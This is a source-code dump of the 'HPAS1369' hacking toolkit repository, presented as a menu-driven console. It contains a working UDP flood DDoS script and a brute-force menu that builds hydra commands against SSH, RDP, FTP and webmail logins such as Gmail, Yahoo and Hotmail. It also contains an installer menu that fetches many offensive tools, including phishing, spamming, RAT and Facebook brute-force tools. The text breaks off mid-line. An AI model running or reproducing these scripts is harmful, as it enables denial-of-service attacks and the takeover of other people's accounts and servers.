├── core ├── __init__.py └── lzmcore.py ├── hydra.restore ├── install.sh ├── README.md ├── pntddos ├── HPAS1369.py ├── .gitignore ├── brute.py ├── lazymux.py └── LICENSE /core/__init__.py: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /hydra.restore: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DedSecCyber/HPAS1369/HEAD/hydra.restore -------------------------------------------------------------------------------- /install.sh: -------------------------------------------------------------------------------- 1 | apt-get upgrade && apt-get update 2 | apt-get install git -y 3 | apt-get install python -y && apt-get install python2 -y 4 | apt-get install hydra -y 5 | apt-get install figlet -y 6 | apt-get dist-upgrade 7 | figlet Tools is Installed 8 | echo How to use HPAS1369 9 | echo Command : python2 HPAS1369.py 10 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # HPAS1369 Hacking Pentesting and Security 2 | สวัสดี ผมมีชื่อว่า Zero Hacker เป็น Hacker และ Python Developer 3 | ผมจะสอนวิธีการติดตั้งและวิธีใช้งาน HPAS1369 4 | 5 | วิธีติดตั้ง 6 | 7 | $chmod +x * 8 | 9 | $sh install.sh 10 | 11 | 12 | วิธีใช้งาน 13 | $python2 HPAS1369.py 14 | 15 | แค่นี้ก็เสร็จแล้วครับ 16 | -------------------------------------------------------------------------------- /pntddos: -------------------------------------------------------------------------------- 1 | """PLANETWORK DDOS 2 | Tool untuk melakukan pengiriman packet kepada mantan terindah :'v """ 3 | import time 4 | import socket 5 | import random 6 | import sys 7 | 8 | def usage(): 9 | print "Command: " + sys.argv[0] + " " 10 | 11 | def flood(victim, vport, duration): 12 | # okay so here I create the server, when i say "SOCK_DGRAM" it means it's a UDP type program 13 | client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 14 | # 1024 representes one byte to the server 15 | bytes = random._urandom(1024) 16 | timeout = time.time() + duration 17 | sent = 3000 18 | 19 | while 1: 20 | if time.time() > timeout: 21 | break 22 | else: 23 | pass 24 | client.sendto(bytes, (victim, vport)) 25 | sent = sent + 1 26 | print "Attacking %s sent packages %s at the port %s "%(sent, victim, vport) 27 | 28 | def main(): 29 | print len(sys.argv) 30 | if len(sys.argv) != 4: 31 | usage() 32 | else: 33 | flood(sys.argv[1], int(sys.argv[2]), int(sys.argv[3])) 34 | 35 | if __name__ == '__main__': 36 | main() 37 | 38 | -------------------------------------------------------------------------------- /HPAS1369.py: -------------------------------------------------------------------------------- 1 | import os, sys, time 2 | from time import sleep as timeout 3 | def restart_program(): 4 | python = sys.executable 5 | os.execl(python, python, * sys.argv) 6 | curdir = os.getcwd() 7 | os.system("clear") 8 | os.system("figlet HPAS1369") 9 | print "Author : Zero Hacker TH" 10 | print "Group : DedSec CyberTeam TH" 11 | print "Codename : KH-001 " 12 | print "Version : 1.1 " 13 | print 14 | print " [01]> Brute Force " 15 | print " [02]> DDos Attack " 16 | print " [03]> NMap PortScanner " 17 | print " [04]> Install Tools Hacking " 18 | print 19 | print " [00]> Exit " 20 | print 21 | A = raw_input("HPAS1369 ==>> ") 22 | 23 | if A == "1" or A == "01": 24 | os.system("python2 brute.py") 25 | 26 | elif A == "2" or A == "02": 27 | os.system("clear") 28 | os.system("figlet DDOS Attack") 29 | ip = raw_input("IP Address : ") 30 | port = raw_input("Port : ") 31 | packet =raw_input("Packet : ") 32 | os.system("python2 pntddos %s %s %s" % (ip, port, packet)) 33 | 34 | elif A == "3" or A == "03": 35 | os.system("clear") 36 | os.system("figlet NMap Scan") 37 | host = raw_input("Host : ") 38 | os.system("nmap %s" % (host)) 39 | 40 | elif A == "4" or A == "04": 41 | os.system("python2 lazymux.py") 42 | 43 | elif A == "0" or A == "00": 44 | sys.exit() 45 | 46 | else: 47 | print "\nERROR: Wrong Input" 48 | timeout(3) 49 | restart_program() 50 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | env/ 12 | build/ 13 | develop-eggs/ 14 | dist/ 15 | downloads/ 16 | eggs/ 17 | .eggs/ 18 | lib/ 19 | lib64/ 20 | parts/ 21 | sdist/ 22 | var/ 23 | wheels/ 24 | *.egg-info/ 25 | .installed.cfg 26 | *.egg 27 | 28 | # PyInstaller 29 | # Usually these files are written by a python script from a template 30 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 31 | *.manifest 32 | *.spec 33 | 34 | # Installer logs 35 | pip-log.txt 36 | pip-delete-this-directory.txt 37 | 38 | # Unit test / coverage reports 39 | htmlcov/ 40 | .tox/ 41 | .coverage 42 | .coverage.* 43 | .cache 44 | nosetests.xml 45 | coverage.xml 46 | *.cover 47 | .hypothesis/ 48 | 49 | # Translations 50 | *.mo 51 | *.pot 52 | 53 | # Django stuff: 54 | *.log 55 | local_settings.py 56 | 57 | # Flask stuff: 58 | instance/ 59 | .webassets-cache 60 | 61 | # Scrapy stuff: 62 | .scrapy 63 | 64 | # Sphinx documentation 65 | docs/_build/ 66 | 67 | # PyBuilder 68 | target/ 69 | 70 | # Jupyter Notebook 71 | .ipynb_checkpoints 72 | 73 | # pyenv 74 | .python-version 75 | 76 | # celery beat schedule file 77 | celerybeat-schedule 78 | 79 | # SageMath parsed files 80 | *.sage.py 81 | 82 | # dotenv 83 | .env 84 | 85 | # virtualenv 86 | .venv 87 | venv/ 88 | ENV/ 89 | 90 | # Spyder project settings 91 | .spyderproject 92 | .spyproject 93 | 94 | # Rope project settings 95 | .ropeproject 96 | 97 | # mkdocs documentation 98 | /site 99 | 100 | # mypy 101 | .mypy_cache/ 102 | -------------------------------------------------------------------------------- /brute.py: -------------------------------------------------------------------------------- 1 | import os, sys, time 2 | from time import sleep as timeout 3 | def restart_program(): 4 | python = sys.executable 5 | os.execl(python, python, * sys.argv) 6 | curdir = os.getcwd() 7 | os.system("clear") 8 | os.system("figlet Brute Force") 9 | print 10 | print " [01]> Cisco Brute Force " 11 | print " [02]> VNC Brute Force " 12 | print " [03]> FTP Brute Force " 13 | print " [04]> Gmail Brute Force " 14 | print " [05]> SSH Brute Force " 15 | print " [06]> TeamSpeak Brute Force " 16 | print " [07]> Telnet Brute Force " 17 | print " [08]> Yahoo Mail Brute Force " 18 | print " [09]> Hotmail Brute Force " 19 | print " [10]> Router Speedy Brute Force " 20 | print " [11]> RDP Brute Force " 21 | print " [12]> MySQL Brute Force " 22 | print " [13]> Facebook Brute Force " 23 | print 24 | print " [00]> Exit" 25 | print 26 | bhydra = raw_input("Brute Force Console ==>> ") 27 | 28 | if bhydra == '01' or bhydra == '1': 29 | os.system("clear") 30 | os.system("figlet Cisco Brute Force ") 31 | iphost = raw_input("[*] IP/Hostname : ") 32 | word = raw_input("[*] Wordlist : ") 33 | os.system("hydra -P %s %s cisco" % (word, iphost)) 34 | sys.exit() 35 | 36 | elif bhydra == '02' or bhydra == '2': 37 | os.system("clear") 38 | os.system("figlet VNC Brute Force") 39 | word = raw_input("[*] Wordlist : ") 40 | iphost = raw_input("[*] IP/Hostname : ") 41 | os.system("hydra -P %s -e n -t 1 %s vnc -V" % (word, iphost)) 42 | iphost = raw_input("[*] IP/Hostname : ") 43 | 44 | elif bhydra == '03' or bhydra == '3': 45 | os.system("figlet FTP Brute Force") 46 | user = raw_input("[*] User : ") 47 | iphost = raw_input("[*] IP/Hostname : ") 48 | word = raw_input("[*] Wordlist : ") 49 | os.system("hydra -l %s -P %s %s ftp" % (user, word, iphost)) 50 | sys.exit() 51 | 52 | elif bhydra == '04' or bhydra == '4': 53 | os.system("clear") 54 | os.system("figlet Gmail Brute Force") 55 | email = raw_input("[*] Email : ") 56 | word = raw_input("[*] Wordlist : ") 57 | os.system("hydra -l %s -P %s -s 465 smtp.gmail.com smtp" % (email, word)) 58 | sys.exit() 59 | 60 | elif bhydra == '05' or bhydra == '5': 61 | os.system("clear") 62 | os.system("figlet SSH Brute Force") 63 | user = raw_input("[*] User : ") 64 | word = raw_input("[*] Wordlist : ") 65 | iphost = raw_input("[*] IP/Hostname : ") 66 | os.system("hydra -l %s -P %s %s ssh" % (user, word, iphost)) 67 | sys.exit() 68 | 69 | elif bhydra == '06' or bhydra == '6': 70 | os.system("clear") 71 | os.system("figlet TeamSpeak Brute Force") 72 | user = raw_input("[*] User : ") 73 | word = raw_input("[*] Wordlist : ") 74 | iphost = raw_input("[*] IP/Hostname : ") 75 | os.system("hydra -l %s -P %s -s 8676 %s teamspeak" % (user, word, iphost)) 76 | sys.exit() 77 | 78 | elif bhydra == '07' or bhydra == '7': 79 | os.system("clear") 80 | os.system("figlet Telnet Brute Force") 81 | user = raw_input("[*] User : ") 82 | word = raw_input("[*] Wordlist : ") 83 | iphost = raw_input("[*] IP/Hostname : ") 84 | os.system("hydra -l %s -P %s %s telnet" % (user, word, iphost)) 85 | sys.exit() 86 | 87 | elif bhydra == '08' or bhydra == '8': 88 | os.system("clear") 89 | os.system("Yahoo Brute Force") 90 | email = raw_input("[*] Email : ") 91 | word = raw_input("[*] Wordlist : ") 92 | os.system("hydra -l %s -P %s -s 587 smtp.mail.yahoo.com smtp" % (email, word)) 93 | sys.exit() 94 | 95 | elif bhydra == '09' or bhydra == '9': 96 | os.system("clear") 97 | os.system("figlet Hotmail Brute Force") 98 | email = raw_input("[*] Email : ") 99 | word = raw_input("[*] Wordlist : ") 100 | os.system("hydra -l %s -P %s -s 587 smtp.live.com smtp" % (email, word)) 101 | sys.exit() 102 | 103 | elif bhydra == '10': 104 | os.system("clear") 105 | os.system("figlet Router Speedy Brute Force") 106 | user = raw_input("[*] User : ") 107 | word = raw_input("[*] Wordlist : ") 108 | iphost = raw_input("[*] IP/Hostname : ") 109 | os.system("hydra -m / -l %s -P %s %s http-get" % (user, word, iphost)) 110 | sys.exit() 111 | 112 | elif bhydra == '11': 113 | os.system("clear") 114 | os.system("figlet PDR Brute Force") 115 | user = raw_input("[*] User : ") 116 | word = raw_input("[*] Wordlist : ") 117 | iphost = raw_input("[*] IP/Hostname : ") 118 | os.system("hydra -t 1 -V -f -l %s -P %s %s rdp" % (user, word, iphost)) 119 | sys.exit() 120 | 121 | elif bhydra == '12': 122 | os.syatem("clear") 123 | os.system("figlet My SQL Brute Force") 124 | user = raw_input("[*] User : ") 125 | word = raw_input("[*] Wordlist : ") 126 | os.system("hydra -t 5 -V -f -l %s -e ns -P %s localhost mysql" % (user, word)) 127 | 128 | elif bhydra == "13": 129 | os.system("clear") 130 | os.system("figlet Facebook Brute Force") 131 | os.system("python2 facebook") 132 | 133 | 134 | elif bhydra == '00' or bhydra == '0': 135 | os.system("python2 HPAS1369.py") 136 | 137 | else: 138 | print "\n[!] ERROR : Wrong Input" 139 | time.sleep(1) 140 | restart_program() 141 | -------------------------------------------------------------------------------- /lazymux.py: -------------------------------------------------------------------------------- 1 | ## lazymux.py - Lazymux v3.0 2 | # -*- coding: utf-8 -*- 3 | import os 4 | import sys 5 | from time import sleep as timeout 6 | from core.lzmcore import * 7 | 8 | def main(): 9 | banner() 10 | print " [01] Information Gathering" 11 | print " [02] Vulnerability Scanner" 12 | print " [03] Stress Testing" 13 | print " [04] Password Attacks" 14 | print " [05] Web Hacking" 15 | print " [06] Exploitation Tools" 16 | print " [07] Sniffing & Spoofing" 17 | print " [08] Other\n" 18 | print " [10] Exit the Lazymux\n" 19 | lazymux = raw_input("lzmx > ") 20 | 21 | if lazymux == "1" or lazymux == "01": 22 | print "\n [01] Nmap" 23 | print " [02] Red Hawk" 24 | print " [03] D-Tect" 25 | print " [04] sqlmap" 26 | print " [05] Infoga" 27 | print " [06] ReconDog" 28 | print " [07] AndroZenmap" 29 | print " [08] sqlmate" 30 | print " [09] AstraNmap" 31 | print " [10] WTF" 32 | print " [11] Easymap" 33 | print " [12] BlackBox" 34 | print " [13] XD3v" 35 | print " [14] Crips" 36 | print " [15] SIR" 37 | print " [16] EvilURL" 38 | print " [17] Striker" 39 | print " [18] Xshell" 40 | print " [19] OWScan\n" 41 | print " [00] Back to main menu\n" 42 | infogathering = raw_input("lzmx > ") 43 | 44 | if infogathering == "01" or infogathering == "1": 45 | nmap() 46 | elif infogathering == "02" or infogathering == "2": 47 | red_hawk() 48 | elif infogathering == "03" or infogathering == "3": 49 | dtect() 50 | elif infogathering == "04" or infogathering == "4": 51 | sqlmap() 52 | elif infogathering == "05" or infogathering == "5": 53 | infoga() 54 | elif infogathering == "06" or infogathering == "6": 55 | reconDog() 56 | elif infogathering == "07" or infogathering == "7": 57 | androZenmap() 58 | elif infogathering == "08" or infogathering == "8": 59 | sqlmate() 60 | elif infogathering == "09" or infogathering == "9": 61 | astraNmap() 62 | elif infogathering == "10": 63 | wtf() 64 | elif infogathering == "11": 65 | easyMap() 66 | elif infogathering == "12": 67 | blackbox() 68 | elif infogathering == "13": 69 | xd3v() 70 | elif infogathering == "14": 71 | crips() 72 | elif infogathering == "15": 73 | sir() 74 | elif infogathering == "16": 75 | evilURL() 76 | elif infogathering == "17": 77 | striker() 78 | elif infogathering == "18": 79 | xshell() 80 | elif infogathering == "19": 81 | owscan() 82 | elif infogathering == "00" or infogathering == "0": 83 | restart_program() 84 | else: 85 | print "\nERROR: Wrong Input" 86 | timeout(2) 87 | restart_program() 88 | 89 | elif lazymux == "2" or lazymux == "02": 90 | print "\n [01] Nmap" 91 | print " [02] AndroZenmap" 92 | print " [03] AstraNmap" 93 | print " [04] Easymap" 94 | print " [05] Red Hawk" 95 | print " [06] D-Tect" 96 | print " [07] Damn Small SQLi Scanner" 97 | print " [08] SQLiv" 98 | print " [09] sqlmap" 99 | print " [10] sqlscan" 100 | print " [11] Wordpresscan" 101 | print " [12] WPScan" 102 | print " [13] sqlmate" 103 | print " [14] wordpresscan" 104 | print " [15] WTF" 105 | print " [16] Rang3r" 106 | print " [17] Striker" 107 | print " [18] Routersploit" 108 | print " [19] Xshell" 109 | print " [20] SH33LL" 110 | print " [21] BlackBox" 111 | print " [22] XAttacker" 112 | print " [23] OWScan\n" 113 | print " [00] Back to main menu\n" 114 | vulnscan = raw_input("lzmx > ") 115 | 116 | if vulnscan == "01" or vulnscan == "1": 117 | nmap() 118 | elif vulnscan == "02" or vulnscan == "2": 119 | androZenmap() 120 | elif vulnscan == "03" or vulnscan == "3": 121 | astraNmap() 122 | elif vulnscan == "04" or vulnscan == "4": 123 | easyMap() 124 | elif vulnscan == "05" or vulnscan == "5": 125 | red_hawk() 126 | elif vulnscan == "06" or vulnscan == "6": 127 | dtect() 128 | elif vulnscan == "07" or vulnscan == "7": 129 | dsss() 130 | elif vulnscan == "08" or vulnscan == "8": 131 | sqliv() 132 | elif vulnscan == "09" or vulnscan == "9": 133 | sqlmap() 134 | elif vulnscan == "10": 135 | sqlscan() 136 | elif vulnscan == "11": 137 | wordpreSScan() 138 | elif vulnscan == "12": 139 | wpscan() 140 | elif vulnscan == "13": 141 | sqlmate() 142 | elif vulnscan == "14": 143 | wordpresscan() 144 | elif vulnscan == "15": 145 | wtf() 146 | elif vulnscan == "16": 147 | rang3r() 148 | elif vulnscan == "17": 149 | striker() 150 | elif vulnscan == "18": 151 | routersploit() 152 | elif vulnscan == "19": 153 | xshell() 154 | elif vulnscan == "20": 155 | sh33ll() 156 | elif vulnscan == "21": 157 | blackbox() 158 | elif vulnscan == "22": 159 | xattacker() 160 | elif vulnscan == "23": 161 | owscan() 162 | elif vulnscan == "00" or vulnscan == "0": 163 | restart_program() 164 | else: 165 | print "\nERROR: Wrong Input" 166 | timeout(2) 167 | restart_program() 168 | 169 | elif lazymux == "3" or lazymux == "03": 170 | print "\n [01] Torshammer" 171 | print " [02] Slowloris" 172 | print " [03] Fl00d & Fl00d2" 173 | print " [04] GoldenEye" 174 | print " [05] Xerxes" 175 | print " [06] Planetwork-DDOS" 176 | print " [07] Hydra" 177 | print " [08] Black Hydra" 178 | print " [09] Xshell" 179 | print " [10] santet-online\n" 180 | print " [00] Back to main menu\n" 181 | stresstest = raw_input("lzmx > ") 182 | 183 | if stresstest == "01" or stresstest == "1": 184 | torshammer() 185 | elif stresstest == "02" or stresstest == "2": 186 | slowloris() 187 | elif stresstest == "03" or stresstest == "3": 188 | fl00d12() 189 | elif stresstest == "04" or stresstest == "4": 190 | goldeneye() 191 | elif stresstest == "05" or stresstest == "5": 192 | xerxes() 193 | elif stresstest == "06" or stresstest == "6": 194 | planetwork_ddos() 195 | elif stresstest == "07" or stresstest == "7": 196 | hydra() 197 | elif stresstest == "08" or stresstest == "8": 198 | black_hydra() 199 | elif stresstest == "09" or stresstest == "9": 200 | xshell() 201 | elif stresstest == "10": 202 | sanlen() 203 | elif stresstest == "00" or stresstest == "0": 204 | restart_program() 205 | else: 206 | print "\nERROR: Wrong Input" 207 | timeout(2) 208 | restart_program() 209 | 210 | elif lazymux == "4" or lazymux == "04": 211 | print "\n [01] Hydra" 212 | print " [02] Facebook Brute Force" 213 | print " [03] Facebook Brute Force 2" 214 | print " [04] Facebook Brute Force 3" 215 | print " [05] Black Hydra" 216 | print " [06] Hash Buster" 217 | print " [07] 1337Hash" 218 | print " [08] Cupp" 219 | print " [09] InstaHack" 220 | print " [10] Indonesian Wordlist" 221 | print " [11] Xshell" 222 | print " [12] Social-Engineering" 223 | print " [13] BlackBox" 224 | print " [14] Hashzer\n" 225 | print " [00] Back to main menu\n" 226 | passtak = raw_input("lzmx > ") 227 | 228 | if passtak == "01" or passtak == "1": 229 | hydra() 230 | elif passtak == "02" or passtak == "2": 231 | facebook_bruteForce() 232 | elif passtak == "03" or passtak == "3": 233 | facebook_BruteForce() 234 | elif passtak == "04" or passtak == "4": 235 | fbBrute() 236 | elif passtak == "05" or passtak == "5": 237 | black_hydra() 238 | elif passtak == "06" or passtak == "6": 239 | hash_buster() 240 | elif passtak == "07" or passtak == "7": 241 | leethash() 242 | elif passtak == "08" or passtak == "8": 243 | cupp() 244 | elif passtak == "09" or passtak == "9": 245 | instaHack() 246 | elif passtak == "10": 247 | indonesian_wordlist() 248 | elif passtak == "11": 249 | xshell() 250 | elif passtak == "12": 251 | social() 252 | elif passtak == "13": 253 | blackbox() 254 | elif passtak == "14": 255 | hashzer() 256 | elif passtak == "00" or passtak == "0": 257 | restart_program() 258 | else: 259 | print "\nERROR: Wrong Input" 260 | timeout(2) 261 | restart_program() 262 | 263 | elif lazymux == "5" or lazymux == "05": 264 | print "\n [01] sqlmap" 265 | print " [02] Webdav" 266 | print " [03] xGans" 267 | print " [04] Webdav Mass Exploit" 268 | print " [05] WPSploit" 269 | print " [06] sqldump" 270 | print " [07] Websploit" 271 | print " [08] sqlmate" 272 | print " [09] sqlokmed" 273 | print " [10] zones" 274 | print " [11] Xshell" 275 | print " [12] SH33LL" 276 | print " [13] XAttacker" 277 | print " [14] XSStrike" 278 | print " [15] Breacher" 279 | print " [16] OWScan\n" 280 | print " [00] Back to main menu\n" 281 | webhack = raw_input("lzmx > ") 282 | 283 | if webhack == "01" or webhack == "1": 284 | sqlmap() 285 | elif webhack == "02" or webhack == "2": 286 | webdav() 287 | elif webhack == "03" or webhack == "3": 288 | xGans() 289 | elif webhack == "04" or webhack == "4": 290 | webmassploit() 291 | elif webhack == "05" or webhack == "5": 292 | wpsploit() 293 | elif webhack == "06" or webhack == "6": 294 | sqldump() 295 | elif webhack == "07" or webhack == "7": 296 | websploit() 297 | elif webhack == "08" or webhack == "8": 298 | sqlmate() 299 | elif webhack == "09" or webhack == "9": 300 | sqlokmed() 301 | elif webhack == "10": 302 | zones() 303 | elif webhack == "11": 304 | xshell() 305 | elif webhack == "12": 306 | sh33ll() 307 | elif webhack == "13": 308 | xattacker() 309 | elif webhack == "14": 310 | xsstrike() 311 | elif webhack == "15": 312 | breacher() 313 | elif webhack == "16": 314 | owscan() 315 | elif webhack == "00" or webhack == "0": 316 | restart_program() 317 | else: 318 | print "\nERROR: Wrong Input" 319 | timeout(2) 320 | restart_program() 321 | elif lazymux == "6" or lazymux == "06": 322 | print "\n [01] Metasploit" 323 | print " [02] commix" 324 | print " [03] sqlmap" 325 | print " [04] Brutal" 326 | print " [05] A-Rat" 327 | print " [06] WPSploit" 328 | print " [07] Websploit" 329 | print " [08] Routersploit" 330 | print " [09] BlackBox" 331 | print " [10] XAttacker" 332 | print " [11] TXTool\n" 333 | print " [00] Back to main menu\n" 334 | exploitool = raw_input("lzmx > ") 335 | 336 | if exploitool == "01" or exploitool == "1": 337 | metasploit() 338 | elif exploitool == "02" or exploitool == "2": 339 | commix() 340 | elif exploitool == "03" or exploitool == "3": 341 | sqlmap() 342 | elif exploitool == "04" or exploitool == "4": 343 | brutal() 344 | elif exploitool == "05" or exploitool == "5": 345 | a_rat() 346 | elif exploitool == "06" or exploitool == "6": 347 | wpsploit() 348 | elif exploitool == "07" or exploitool == "7": 349 | websploit() 350 | elif exploitool == "08" or exploitool == "8": 351 | routersploit() 352 | elif exploitool == "09" or exploitool == "9": 353 | blackbox() 354 | elif exploitool == "10": 355 | xattacker() 356 | elif exploitool == "11": 357 | txtool() 358 | elif exploitool == "00" or exploitool == "0": 359 | restart_program() 360 | else: 361 | print "\nERROR: Wrong Input" 362 | timeout(2) 363 | restart_program() 364 | elif lazymux == "7" or lazymux == "07": 365 | print "\n [01] KnockMail" 366 | print " [02] Spammer-Grab" 367 | print " [03] Hac" 368 | print " [04] Spammer-Email" 369 | print " [05] SocialFish" 370 | print " [06] santet-online" 371 | print " [07] SpazSMS\n" 372 | print " [00] Back to main menu\n" 373 | sspoof = raw_input("lzmx > ") 374 | 375 | if sspoof == "01" or sspoof == "1": 376 | knockmail() 377 | elif sspoof == "02" or sspoof == "2": 378 | spammer_grab() 379 | elif sspoof == "03" or sspoof == "3": 380 | hac() 381 | elif sspoof == "04" or sspoof == "4": 382 | spammer_email() 383 | elif sspoof == "05" or sspoof == "5": 384 | socfish() 385 | elif sspoof == "06" or sspoof == "6": 386 | sanlen() 387 | elif sspoof == "07" or sspoof == "7": 388 | spazsms() 389 | elif sspoof == "00" or sspoof == "0": 390 | restart_program() 391 | else: 392 | print "\nERROR: Wrong Input" 393 | timeout(2) 394 | restart_program() 395 | 396 | elif lazymux == "8" or lazymux == "08": 397 | print "\n [01] SpiderBot" 398 | print " [02] Ngrok" 399 | print " [03] Sudo" 400 | print " [04] Ubuntu" 401 | print " [05] Fedora" 402 | print " [06] Kali Nethunter" 403 | print " [07] VCRT" 404 | print " [08] E-Code" 405 | print " [09] Termux-Styling" 406 | print " [10] PassGen\n" 407 | print " [00] Back to main menu\n" 408 | moretool = raw_input("lzmx > ") 409 | 410 | if moretool == "01" or moretool == "1": 411 | spiderbot() 412 | elif moretool == "02" or moretool == "2": 413 | ngrok() 414 | elif moretool == "03" or moretool == "3": 415 | sudo() 416 | elif moretool == "04" or moretool == "4": 417 | ubuntu() 418 | elif moretool == "05" or moretool == "5": 419 | fedora() 420 | elif moretool == "06" or moretool == "6": 421 | nethunter() 422 | elif moretool == "07" or moretool == "7": 423 | vcrt() 424 | elif moretool == "08" or moretool == "8": 425 | ecode() 426 | elif moretool == "09" or moretool == "9": 427 | stylemux() 428 | elif moretool == "10": 429 | passgencvar() 430 | elif moretool == "00" or moretool == "0": 431 | restart_program() 432 | else: 433 | print "\nERROR: Wrong Input" 434 | timeout(2) 435 | restart_program() 436 | 437 | elif lazymux == "10": 438 | sys.exit() 439 | 440 | else: 441 | print "\nERROR: Wrong Input" 442 | timeout(2) 443 | restart_program() 444 | 445 | if __name__ == "__main__": 446 | main() -------------------------------------------------------------------------------- /core/lzmcore.py: -------------------------------------------------------------------------------- 1 | ## lzmcore.py - useful module of Lazymux 2 | # -*- coding: utf-8 -*- 3 | import os 4 | import sys 5 | import time 6 | 7 | lazymux_banner = """ 8 | .-. 9 | : : 10 | : : .--. .---. .-..-.,-.,-.,-..-..-..-.,-. 11 | : :__ ' .; ; `-'_.': :; :: ,. ,. :: :; :`. .' 12 | :___.'`.__,_;`.___;`._. ;:_;:_;:_;`.__.':_,._; 13 | .-. : 14 | `._.' 15 | """ 16 | backtomenu_banner = """ 17 | [99] Back to main menu 18 | [00] Exit the Lazymux 19 | """ 20 | def restart_program(): 21 | python = sys.executable 22 | os.execl(python, python, * sys.argv) 23 | curdir = os.getcwd() 24 | 25 | def backtomenu_option(): 26 | print backtomenu_banner 27 | backtomenu = raw_input("lzmx > ") 28 | 29 | if backtomenu == "99": 30 | restart_program() 31 | elif backtomenu == "00": 32 | sys.exit() 33 | else: 34 | print "\nERROR: Wrong Input" 35 | time.sleep(2) 36 | restart_program() 37 | 38 | def banner(): 39 | print lazymux_banner 40 | 41 | def nmap(): 42 | print '\n###### Installing Nmap' 43 | os.system('apt update && apt upgrade') 44 | os.system('apt install nmap') 45 | print '###### Done' 46 | print "###### Type 'nmap' to start." 47 | backtomenu_option() 48 | 49 | def red_hawk(): 50 | print '\n###### Installing RED HAWK' 51 | os.system('apt update && apt upgrade') 52 | os.system('apt install git php') 53 | os.system('git clone https://github.com/Tuhinshubhra/RED_HAWK') 54 | os.system('mv RED_HAWK ~') 55 | print '###### Done' 56 | backtomenu_option() 57 | 58 | def dtect(): 59 | print '\n###### Installing D-Tect' 60 | os.system('apt update && apt upgrade') 61 | os.system('apt install python2 git') 62 | os.system('git clone https://github.com/shawarkhanethicalhacker/D-TECT') 63 | os.system('mv D-TECT ~') 64 | print '###### Done' 65 | backtomenu_option() 66 | 67 | def sqlmap(): 68 | print '\n###### Installing sqlmap' 69 | os.system('apt update && apt upgrade') 70 | os.system('apt install git python2') 71 | os.system('git clone https://github.com/sqlmapproject/sqlmap') 72 | os.system('mv sqlmap ~') 73 | print '###### Done' 74 | backtomenu_option() 75 | 76 | def infoga(): 77 | print '\n###### Installing Infoga' 78 | os.system('apt update && apt upgrade') 79 | os.system('apt install python2 git') 80 | os.system('pip2 install requests urllib3 urlparse') 81 | os.system('git clone https://github.com/m4ll0k/Infoga') 82 | os.system('mv Infoga ~') 83 | print '###### Done' 84 | backtomenu_option() 85 | 86 | def reconDog(): 87 | print '\n###### Installing ReconDog' 88 | os.system('apt update && apt upgrade') 89 | os.system('apt install python2 git') 90 | os.system('git clone https://github.com/UltimateHackers/ReconDog') 91 | os.system('mv ReconDog ~') 92 | print '###### Done' 93 | backtomenu_option() 94 | 95 | def androZenmap(): 96 | print '\n###### Installing AndroZenmap' 97 | os.system('apt update && apt upgrade') 98 | os.system('apt install nmap curl') 99 | os.system('curl -O http://override.waper.co/files/androzenmap.txt') 100 | os.system('mkdir ~/AndroZenmap') 101 | os.system('mv androzenmap.txt ~/AndroZenmap/androzenmap.sh') 102 | print '###### Done' 103 | backtomenu_option() 104 | 105 | def sqlmate(): 106 | print '\n###### Installing sqlmate' 107 | os.system('apt update && apt upgrade') 108 | os.system('apt install python2 git') 109 | os.system('pip2 install mechanize bs4 HTMLparser argparse requests urlparse2') 110 | os.system('git clone https://github.com/UltimateHackers/sqlmate') 111 | os.system('mv sqlmate ~') 112 | print '###### Done' 113 | backtomenu_option() 114 | 115 | def astraNmap(): 116 | print '\n###### Installing AstraNmap' 117 | os.system('apt update && apt upgrade') 118 | os.system('apt install git nmap') 119 | os.system('git clone https://github.com/Gameye98/AstraNmap') 120 | os.system('mv AstraNmap ~') 121 | print '###### Done' 122 | backtomenu_option() 123 | 124 | def wtf(): 125 | print '\n###### Installing WTF' 126 | os.system('apt update && apt upgrade') 127 | os.system('apt install git python2') 128 | os.system('pip2 bs4 requests HTMLParser urlparse mechanize argparse') 129 | os.system('git clone https://github.com/Xi4u7/wtf') 130 | os.system('mv wtf ~') 131 | print '###### Done' 132 | backtomenu_option() 133 | 134 | def easyMap(): 135 | print '\n###### Installing Easymap' 136 | os.system('apt update && apt upgrade') 137 | os.system('apt install php git') 138 | os.system('git clone https://github.com/Cvar1984/Easymap') 139 | os.system('mv Easymap ~') 140 | os.system('cd ~/Easymap && sh install.sh') 141 | print '###### Done' 142 | backtomenu_option() 143 | 144 | def xd3v(): 145 | print '\n###### Installing XD3v' 146 | os.system('apt update && apt upgrade') 147 | os.system('apt install curl') 148 | os.system('curl -k -O https://gist.github.com/Gameye98/92035588bd0228df6fb7fa77a5f26bc2/raw/f8e73cd3d9f2a72bd536087bb6ba7bc8baef7d1d/xd3v.sh') 149 | os.system('mv xd3v.sh ~/../usr/bin/xd3v && chmod +x ~/../usr/bin/xd3v') 150 | print '###### Done' 151 | print "###### Type 'xd3v' to start." 152 | backtomenu_option() 153 | 154 | def crips(): 155 | print '\n###### Installing Crips' 156 | os.system("apt update && apt upgrade") 157 | os.system("apt install git python2 openssl curl libcurl wget") 158 | os.system("git clone https://github.com/Manisso/Crips") 159 | os.system("mv Crips ~") 160 | print '###### Done' 161 | backtomenu_option() 162 | 163 | def sir(): 164 | print '\n###### Installing SIR' 165 | os.system("apt update && apt upgrade") 166 | os.system("apt install python2 git") 167 | os.system("pip2 install bs4 urllib2") 168 | os.system("git clone https://github.com/AeonDave/sir.git") 169 | os.system("mv sir ~") 170 | print '###### Done' 171 | backtomenu_option() 172 | 173 | def xshell(): 174 | print '\n###### Installing Xshell' 175 | os.system("apt update && apt upgrade") 176 | os.system("apt install lynx python2 figlet ruby php nano w3m") 177 | os.system("git clone https://github.com/Ubaii/Xshell") 178 | os.system("mv Xshell ~") 179 | print '###### Done' 180 | backtomenu_option() 181 | 182 | def evilURL(): 183 | print '\n###### Installing EvilURL' 184 | os.system("apt update && apt upgrade") 185 | os.system("apt install git python2 python3") 186 | os.system("git clone https://github.com/UndeadSec/EvilURL") 187 | os.system("mv EvilURL ~") 188 | print '###### Done' 189 | backtomenu_option() 190 | 191 | def striker(): 192 | print '\n###### Installing Striker' 193 | os.system('apt update && apt upgrade') 194 | os.system('apt install git 